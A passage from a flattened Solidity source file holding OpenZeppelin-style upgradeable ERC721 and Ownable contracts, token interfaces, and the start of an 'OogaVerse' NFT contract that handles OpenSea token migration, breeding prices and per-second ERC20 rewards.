digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
uint256[44] private __gap;
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
interface IDMT_ERC20 {
function mint(address account, uint256 amount) external;
function burn(address account, uint256 amount) external;
}
contract OogaVerseERC721 is ERC721Upgradeable, OwnableUpgradeable {
struct TokenAttributes {
string name;
string description;
bool isEgg;
bool isOG;
bool isGenesis;
bool isLegendary;
bool summonedNewLegendary;
}
mapping(uint256 => TokenAttributes) public tokenAttributes;
mapping(uint256 => bool) public legendaryTokenIdMap;
mapping(address => uint256) public currentUserReward;
mapping(address => uint256) public lastRewardCalculationAtTimestamp;
mapping(address => uint256) public numberOfGenesisOwned;
mapping(address => uint256) public numberOfOGOwned;
address public constant BURN_ADDRESS = address(0x000000000000000000000000000000000000dEaD);
IERC1155 public openSeaContract;
uint256 public breedingPrice;
uint256 public breedingLegendaryPrice;
uint256 public changeNamePrice;
uint256 public changeDescriptionPrice;
uint256 public revealBeginTimestamp;
IDMT_ERC20 public erc20token;
uint256 public erc20genesisRewardPerSecond;
uint256 public erc20gen2RewardPerSecond;
uint256 public doubleOGRewardStartTimestamp;
uint256 public doubleOGRewardUntilTimestamp;
uint256 public rewardsUntilTimestamp;
uint256 public gen1OldIndex;
uint256 public startGen2Index;
uint256 public totalNumberOfGen2Tokens;
uint256 public maxNumberOfGen2Tokens;
string public BASE_URI;
event Migrate(address indexed fromAddress, uint256 indexed openSeaTokenId, uint256 indexed newTokenId);
event Breed(address indexed fromAddress, uint256 indexed newTokenId);
event SummonLegendary(address indexed fromAddress, uint256 newTokenId, uint256 indexed tokenId);
event Reveal(uint256 indexed tokenId);
event ChangeName(uint256 indexed tokenId, string newName);
event ChangeDescription(uint256 indexed tokenId, string newDescription);
string private _contractURI;
mapping(string => bool) private _nameUsed;
address private _proxyContractAddress;
function initialize(
string memory name_,
string memory symbol_,
uint256 revealBeginTimestamp_,
uint256 doubleOGRewardStartTimestamp_,
uint256 doubleOGRewardUntilTimestamp_,
uint256 rewardsUntilTimestamp_,
string memory baseURI_,
IDMT_ERC20 erc20token_,
IERC1155 openSeaContract_,
string memory contractURI_
) public initializer {
__ERC721_init(name_, symbol_);
__Ownable_init();
totalNumberOfGen2Tokens = 0;
maxNumberOfGen2Tokens = 6000;
startGen2Index = 2002001;
gen1OldIndex = 1389420;
breedingPrice = 2000 * (10 ** 18);
breedingLegendaryPrice = 2000 * (10 ** 18);
changeNamePrice = 200 * (10 ** 18);
changeDescriptionPrice = 200 * (10 ** 18);
erc20genesisRewardPerSecond = uint(20 * (10 ** 18)) / uint(1 days);
erc20gen2RewardPerSecond = uint(5 * (10 ** 18)) / uint(1 days);
BASE_URI = baseURI_;
revealBeginTimestamp = revealBeginTimestamp_;
doubleOGRewardStartTimestamp = doubleOGRewardStartTimestamp_;
doubleOGRewardUntilTimestamp = doubleOGRewardUntilTimestamp_;
rewardsUntilTimestamp = rewardsUntilTimestamp_;
erc20token = erc20token_;
openSeaContract = openSeaContract_;
_contractURI = contractURI_;
}
function _baseURI() internal view virtual override returns (string memory) {
return BASE_URI;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, uintToStr(tokenId), ".json")) : "";
}
function changeBaseURI(string memory baseURI_) external onlyOwner {
BASE_URI = baseURI_;
}
function changeErc20token(IDMT_ERC20 erc20token_) external onlyOwner {
erc20token = erc20token_;
}
function changeOpenSeaContract(IERC1155 openSeaContract_) external onlyOwner {
openSeaContract = openSeaContract_;
}
function changeRevealBeginTimestamp(uint256 revealBeginTimestamp_) external onlyOwner {
revealBeginTimestamp = revealBeginTimestamp_;
}
function changeRenamePrices(uint256 changeNamePrice_, uint256 changeDescriptionPrice_) external onlyOwner {
changeNamePrice = changeNamePrice_;
changeDescriptionPrice = changeDescriptionPrice_;
}
function changeBreedingPrices(uint256 breedingPrice_, uint256 breedingLegendaryPrice_) external onlyOwner {
breedingPrice = breedingPrice_;
breedingLegendaryPrice = breedingLegendaryPrice_;
}
function changeERC20Rewards(uint256 erc20genesisRewardPerSecond_, uint256 erc20gen2RewardPerSecond_) external onlyOwner {
erc20genesisRewardPerSecond = erc20genesisRewardPerSecond_;
erc20gen2RewardPerSecond = erc20gen2RewardPerSecond_;
}
function changeProxyContractAddress(address newProxyContractAddress) external onlyOwner {
_proxyContractAddress = newProxyContractAddress;
}
function _mintNewToken(
address mintTo,
uint256 newTokenId,
bool _isEgg,
bool _isOG,
bool _isGenesis,
bool _isLegendary,
bool _summonedNewLegendary
) private returns(uint256) {
TokenAttributes storage newToken = tokenAttributes[newTokenId];
if (_isGenesis == false) {
require(totalNumberOfGen2Tokens < maxNumberOfGen2Tokens, "01");
totalNumberOfGen2Tokens++;
}
newToken.name = "Ooga";
newToken.description = "";
newToken.isEgg = _isEgg;
newToken.isOG = _isOG;
newToken.isGenesis = _isGenesis;
newToken.isLegendary = _isLegendary;
newToken.summonedNewLegendary = _summonedNewLegendary;
_safeMint(mintTo, newTokenId);
return newTokenId;
}
function _passedTime(uint256 begin, uint256 end, uint256 max) private pure returns(uint256) {
uint256 end_ = end;
if (end_ > max) end_ = max;
if (begin >= end_) return 0;
return end_ - begin;
}
function _calculateRemainingReward(address user, uint256 currentTimestamp) private view returns(uint256) {
uint256 genesisOwned = numberOfGenesisOwned[user];
uint256 remainingReward = 0;
uint256 time = _passedTime(lastRewardCalculationAtTimestamp[user], currentTimestamp, rewardsUntilTimestamp);
remainingReward+= time * erc20genesisRewardPerSecond * genesisOwned;
if (genesisOwned >= 2) {
uint256 gen2count = balanceOf(user) - genesisOwned;
remainingReward += time * erc20gen2RewardPerSecond * gen2count;
}
if (numberOfOGOwned[user] > 0) {
time = _passedTime(lastRewardCalculationAtTimestamp[user], currentTimestamp, doubleOGRewardUntilTimestamp);
remainingReward += time * erc20genesisRewardPerSecond * numberOfOGOwned[user];
}
return remainingReward;
}
function _updateRewards(address user, uint256 currentTimestamp) private {
if (user == address(0)) return;
if (numberOfGenesisOwned[user] > 0) {
currentUserReward[user] += _calculateRemainingReward(user, currentTimestamp);
}
lastRewardCalculationAtTimestamp[user] = currentTimestamp;
}
function claimReward() external {
_updateRewards(_msgSender(), block.timestamp);
uint256 tmpReward = currentUserReward[_msgSender()];
currentUserReward[_msgSender()] = 0;
if(tmpReward > 0)
erc20token.mint(_msgSender(), tmpReward);
}
function calculateUserCurrentReward(address user, uint256 currentTimestamp) external view returns(uint256) {
return currentUserReward[user] + _calculateRemainingReward(user, currentTimestamp);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721Upgradeable) {
super._beforeTokenTransfer(from, to, tokenId);
TokenAttributes storage token = tokenAttributes[tokenId];
_updateRewards(from, block.timestamp);
_updateRewards(to, block.timestamp);
if (token.isOG == true) {
if (from != address(0)) numberOfOGOwned[from] -= 1;
numberOfOGOwned[to] += 1;
}
if (token.isGenesis == true) {
if (from != address(0)) numberOfGenesisOwned[from] -= 1;
numberOfGenesisOwned[to] += 1;
}
}
function addGenesisLegendaryIds(uint256[] calldata legendaryOpenSeaIds) external onlyOwner {
for (uint i = 0; i < legendaryOpenSeaIds.length; i++) {
legendaryTokenIdMap[legendaryOpenSeaIds[i]] = true;
}
}
function getAddressFromOpenseaTokenId(uint256 openseaTokenId) pure public returns(uint256) {
return openseaTokenId >> 96;
}
function getCIDFromOpenseaTokenId(uint256 openseaTokenId) pure public returns(uint256) {
return openseaTokenId & 0xffffffffff;
}
function getIndexFromOpenseaTokenId(uint256 openseaTokenId) pure public returns(uint256) {
return (openseaTokenId >> 40) & 0xffffffffffffff;
}
function getNewIdFromOpenseaTokenId(uint256 openseaTokenId) pure public returns(uint256) {
if (getAddressFromOpenseaTokenId(openseaTokenId) != 0x000001605a306502bd0c3e9ade8e1afff2809b4c237ed) return 0;
if (getCIDFromOpenseaTokenId(openseaTokenId) != 1) return 0;
uint256 newId = getIndexFromOpenseaTokenId(openseaTokenId);
if (newId > 2045) return 0;
return newId;
}
function migrate(uint256 openseaTokenId) external {
uint256 newTokenId = getNewIdFromOpenseaTokenId(openseaTokenId);
require(newTokenId > 0, "91");
bool og = newTokenId <= 100;
openSeaContract.safeTransferFrom(_msgSender(), BURN_ADDRESS, openseaTokenId, 1, "");
newTokenId = newTokenId + gen1OldIndex;
if (og) {
uint256 time = _passedTime(doubleOGRewardStartTimestamp, block.timestamp, doubleOGRewardUntilTimestamp);
currentUserReward[_msgSender()] += time * erc20genesisRewardPerSecond;
}
_mintNewToken(
_msgSender(),
newTokenId,
false, // egg
og, // og
true, // genesis
legendaryTokenIdMap[openseaTokenId], // legendary
false // summonedLegendary
);
emit Migrate(_msgSender(), openseaTokenId, newTokenId);
}
function _payerc20(uint256 amount) private {
_updateRewards(_msgSender(), block.timestamp);
if (currentUserReward[_msgSender()] >= amount) {
